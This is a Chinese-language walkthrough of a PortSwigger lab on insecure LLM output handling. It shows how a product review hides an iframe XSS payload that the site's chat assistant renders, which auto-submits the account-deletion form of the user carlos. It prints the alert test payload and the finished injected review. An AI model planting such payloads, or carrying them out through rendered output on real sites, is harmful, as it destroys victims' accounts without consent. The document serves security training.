> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md).

# 利用不安全的 LLM 输出处理

面向 PortSwigger Web Security Academy 实验室的利用不安全的 LLM 输出处理笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。

### 利用 LLM 中不安全的输出处理

#### 上下文

该实验室以不安全的方式显示 LLM 的输出，从而允许一个 **跨站脚本攻击**. 用户 **carlos** 经常使用实时聊天来请求产品信息 **轻量级“l33t”皮夹克**.

#### 目标

执行一次间接 \*\* 注入（间接快速注入）以执行一个 **跨站脚本攻击** 其中 **删除 carlos 账户**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-219b827b82ded9bd457e66685698ba90269b24f7%2F%7BC586D6BE-E332-42C5-A6F1-1B6C73BC3C11%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 1）设置

* 创建一个用户账户。
* 访问 **实时聊天** 使用 LLM。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91c22363037333c1c0b6c3f5d566e71f8816f4aa%2F%7B7B3FAD01-2724-491F-A0D8-7DB8BB83088E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 2）XSS 验证

#### Cat 测试（存在漏洞）

测试载荷（设置一个警报）：

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9073d3a4062aea196a56942c88c2adfbedbf77b6%2F%7B90140FB7-7FDA-4627-BE1F-77C753FE2B78%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 在评论上测试（非直接易受攻击）

* 评论似乎不会以相同的方式处理 HTML/JS。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b5b17547a402e39ce71209ff57c1dc8094804042%2F%7BFED266C9-97EC-4593-9933-510362E31441%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

因此，我们通过一个 **LLM 所查询的来源** （恢复的内容并显示在聊天中）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ece55db4dcd930f27e497e01172d991bb6155ed%2F%7B2E14C6C2-B5F5-40C4-A7CE-C24CA8CCBC99%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 3）入口点：通过 LLM 查询的评论内容

例如，要求 LLM 显示产品评论：

```bash
查看 ZZZZZZ 床的评论：你的新家庭办公室。
```

观察到的响应（示例）：

```bash
4. **用户** - 2026年1月25日
   - *评论：* *（评论包含一张图片）*
```

思路是将 HTML 注入到一条通知中，以便随后 **在实时聊天中被替换** （其中显示存在漏洞）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed8f9708acdfa676c33e299c33b24a30d27766d0%2F%7BF1493D34-F3F9-4377-8B1B-F1BBD2258B32%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### (4) 目标操作：通过表单删除账户

要从“我的账户”中删除一个账户，请触发：

```bash
document.forms[1].submit()
```

对应表单：

{% code overflow="wrap" %}

```html
<form id="delete-account-form" action="/my-account/delete" method="POST">
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e76c1a260f390bba143165ef7a014ee36ba46e9%2F%7BCECA13F0-D510-466D-913F-567D23B97339%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 5）利用：通过 iframe 实现 XSS（自动提交）

#### 载荷（自动删除表单提交）

{% code overflow="wrap" %}

```javascript
<iframe
src="my-account" onload="this.contentDocument.forms[1].submit()">
```

{% endcode %}

* 单独的测试无法按预期通过，因此将其嵌入到一句话中（被解析的变体）：

已验证变体示例：

{% code overflow="wrap" %}

```javascript
开箱说实话，"<iframe src=my-account onload=this.contentDocument.forms[1].submit()>" 真是个亮点，我对我妻子说：好吧，这确实令人印象深刻。
```

{% endcode %}

结果：浏览器解释 iframe → 加载 `my-account` → 执行 `forms[1].submit()` → **账户已删除** （在自己的账户上测试）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c2fea33eb9eb22946f73ddfccf1e83711ef0853e%2F%7BA78E5384-756E-46DC-A551-DBD1F6B0BC46%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e45896493bb125a07f7d9d0bee6c2d9a6ab7cca8%2F%7BC8DEE099-3D5A-4B18-95E9-C4E36511BFDE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 6）放置在目标产品（夹克）上的最终载荷

一条评论被发布在 **轻量级“l33t”皮夹克** 包含该框架（所用示例）：

{% code overflow="wrap" %}

```bash
当我收到这个产品时，我得到了一件免费的 T 恤，上面印着 "<iframe src =my-account onload = this.contentDocument.forms[1].submit() >"。我非常高兴！这太酷了，我告诉了我妻子。
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eddde1ea2b55e89838f6455ce1d470b43511e64b%2F%7BE61AE702-E78F-4E26-A4AA-84F78F238946%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
